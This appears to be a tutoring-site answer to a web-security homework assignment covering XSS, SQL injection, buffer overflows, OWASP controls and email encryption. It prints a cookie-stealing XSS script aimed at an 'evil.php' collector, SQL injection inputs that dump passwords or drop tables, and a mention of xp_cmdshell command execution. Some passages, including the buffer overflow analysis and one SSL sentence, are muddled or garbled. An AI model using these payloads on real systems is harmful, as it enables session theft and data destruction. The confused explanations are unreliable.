Academic Integrity: tutoring, explanations, and feedback — we don’t complete graded work or submit on a student’s behalf.

Fully answer all of the following questions using complete sentences and proper

ID: 3598409 • Letter: F

Question

Fully answer all of the following questions using complete sentences and proper English grammar, punctuation, and spelling.

      Note: Include assignment number

1) Provide an example of a Cross Site Scripting (XSS) attack. Include an explanation of the differences between stored and reflective XSS attacks.

2) Provide an example of a SQL Injection attack. Why does the back end database make a difference in how it works? What type of information or access could be compromised with SQL injection attacks? Include at least one additional reference

3) Watch this video on “Ethical Hacking - How Buffer Overflow Attacks Work”: https://www.youtube.com/watch?v=iZTilLGAcFQ. In your own words, explain how Buffer Overflow attacks work. Include at least one image or drawing. Include at least one additional reference.

4) Both the SANS (http://www.sans.org/top25-software-errors/) and OWASP (https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) sites provide techniques for preventing application attacks. Discuss three of these.

5) What part of the e-mail process does SSL/TLS usually secure? Is this end-to-end security? Explain. What standards and technologies provide end-to-end security?

Explanation / Answer

A)Cross-site Scripting (XSS) Attack:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted website for the consumption of other valid users.

The most common example can be found in bulletin-board websites which provide web-based mailing list-style functionality.

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

<% String eid = request.getParameter("eid"); %>

...

Employee ID: <%= eid %>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially, this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

<%...

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);

if (rs != null) {

rs.next();

String name = rs.getString("name");

%>

Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with websites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.

As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Attack Examples:

Example 1: Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<SCRIPT type="text/javascript">

var adr = '../evil.php?cakemonster=' + escape(document.cookie);

</SCRIPT>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Error Page Example:

Let's assume that we have an error page, which is handling requests for a non-existing page, a classic 404 error page. We may use the code below as an example to inform a user about what specific page is missing:

<html>

<body>

<? php

print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);

?>

</body>

</html>

Stored and Reflected XSS Attacks:

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well-known type of XSS attack called DOM Based XSS.

Stored XSS Attacks:

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

Reflected XSS Attacks:

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw that occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping.

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type.These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.

B)SQL INJECTION:

SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data, user lists or private customer details.

SQL INJECTION EXAMPLE:

An attacker wishing to execute SQL injection manipulates a standard SQL query to exploit non-validated input vulnerabilities in a database. There are many ways that this attack vector can be executed, several of which will be shown here to provide you with a general idea about how SQLI works.

For example, the above-mentioned input, which pulls information for a specific product, can be altered to read 1=1.

As a result, the corresponding SQL query looks like this:

SELECT ItemName, ItemDescription

FROM Items

WHERE ItemNumber = 999 OR 1=1

And since the statement 1 = 1 is always true, the query returns all of the product names and descriptions in the database, even those that you may not be eligible to access.

Attackers are also able to take advantage of incorrectly filtered characters to alter SQL commands, including using a semicolon to separate two fields.

For example, DROP TABLE Users would generate the following SQL query:

SELECT ItemName, ItemDescription

FROM Items

WHERE ItemNumber = 999; DROP TABLE USERS

As a result, the entire user database could be deleted.

Another way SQL queries can be manipulated is a UNION SELECT statement. This combines two unrelated SELECT queries to retrieve data from different database tables.

For example, the input UNION SELECT username, password FROM USERS produces the following SQL query:

SELECT ItemName, ItemDescription

FROM Items

WHERE ItemID = '999' UNION SELECT Username, Password FROM Users;

Using the UNION SELECT statement, this query combines the request for item 999’s name and description with another that pulls names and passwords for every user in the database.

Type of information that can be compromised:

Ramifications of Successful SQL Injection Attacks:

Although the effects of a successful SQL injection attack vary based on the targeted application and how that application processes user-supplied data, SQL injection can generally be used to perform the following types of attacks:

Authentication Bypass:

This attack allows an attacker to log on to an application, potentially with administrative privileges, without supplying a valid username and password.

Information Disclosure:

This attack allows an attacker to obtain, either directly or indirectly, sensitive information in a database.

Compromised Data Integrity:

This attack involves the alteration of the contents of a database. An attacker could use this attack to deface a web page or more likely to insert malicious content into otherwise innocuous web pages.

Compromised Availability of Data:

This attack allows an attacker to delete information with the intent to cause harm or delete log or audit information in a database.

Remote Command Execution:

Performing command execution through a database can allow an attacker to compromise the host operating system. These attacks often leverage an existing, predefined stored procedure for host operating system command execution. The most recognized variety of this attack uses the xp_cmdshell stored procedure that is common to Microsoft SQL Server installations or leverages the ability to create an external procedure call on Oracle databases.

3.Working of Buffer Overflow Attack:

1.The buffer overflow exploits flaws in the code like bad input checking, bad error handling code.These points allow the buffer overflow attack to do its work easily.

2.the buffer overflow attack then makes the buffer overflow by passing huge data to the buffer and making the work of buffer impossible to handle that incoming data.

3.Because of this, the allocated buffer/memory space gets overflown which leads to some unpredictable results.

Basic Buffer Overflow Example shown in this video:

void func(char *str)

{

char buffer[5];

strcpy(buffer,str);

}

void main()

{

char string[16];

printf("Input any data ");

gets(string);

func(string);

printf("Next data goes here ");

}

Note: Exploit runs on the second iteration.

If we observe the above code there are conditions applied for checking the length of the string that has to be entered for limiting overflow.And the methods are not related to each other.

Example of exploiting a Buffer Overflow:

Consider an application login page which asks you to enter the username with characters in between 6 and 24.Suppose if I type more than this limit and the page accepts this, then the application's code is not good enough and it won't be able to handle the characters resulting in the buffer overflow.Here it will fail to check the length of input and keeps all the characters in one stack which may produce erroneous results.

Techniques provided by SANS and OWASP to prevent application attacks:

The OWASP Top Ten Proactive Controls is a list of security techniques and best practices enterprises should apply to remove the majority of the most prevalent and exploitable vulnerabilities found in Web applications today. Listed in order of importance, they are:

1.Parameterize queries

2.Encode data

3.Validate all inputs

4.Implement appropriate access controls

5.Establish identity and authentication controls

6.Protect data and privacy

7.Implement logging, error handling and intrusion detection

8.Leverage security features of frameworks and security libraries

9.Include security-specific requirements

10.Design and architect security

Secure Socket Layer and Transport Layer Security:

Secure Sockets Layer (SSL) is a computer networking protocol for securing connections between network application clients and servers over an insecure network, such as the internet.

SSL uses a combination of public key and symmetric key encryption to secure a connection between two machines, typically a web or mail server and a client system, communicating over the internet or another TCP/IP network. SSL provides a mechanism for encrypting and authenticating data sent between processes running on a client and server.

The TLS protocol evolved from SSL and has officially superseded it, although the terms SSL or SSL/TLS are still commonly used to refer to the protocol used to secure web/internet traffic.

When an SSL connection is established your email program connects to our servers and they establish a secure connection that is encrypted, and then data is transmitted over this connection.

What is end-to-end email encryption?

End-to-end email encryption is a method of transmitting data where only the sender and receiver can read email messages. With end-to-end email encryption, the data is encrypted on the sender’s system.Only the intended recipient will be able to decrypt and read it. Nobody in between can read the message or tamper with it. End-to-end email encryption provides the highest level of confidentiality and protection of your email communication.

What is not end-to-end email encryption?

For a better understanding of what end-to-end email encryption is, we must first understand what is not end-to-end encryption.

SSL/TLS:

When you visit any email account, the HTTPS in front of the URL denotes that SSL/TLS protocol has been used to encrypt the data transferred between your computer and the mail servers. This protocol is much more secure than HTTP (without “S” = not secure). Most websites adopted SSL/TLS to protect against malicious intermediaries. The downside to relying solely on HTTPS is that data is only encrypted between your device and the mail servers. email has the keys to decrypt that data.

SMTP over TLS (STARTTLS):

Let's take the case of a Yahoo email users that sends an email to mail users. When you send an email with SMTP over TLS between these two mail services, the message between the two servers is encrypted on a condition that the recipient server also supports SMTP over TLS (which mail does). Using STARTTLS is a good practice, however, several attempts are made to ‘portray’ this as the ultimate email security and privacy solution. In our opinion, STARTTLS is not good enough since both the sending and receiving server has access to the message content. Moreover, not all receiving servers support STARTTLS.

Because of the imperfections of SSL/TLS and STARTTLS, end-to-end encryption remains the only secure way for your email communication.

The first widely used E2EE messaging software was Pretty Good Privacy, which secured email and stored files, as well as securing digital signatures. Text messaging applications frequently utilize end-to-end encryption, including Jabber, TextSecure, and Apple's iMessage.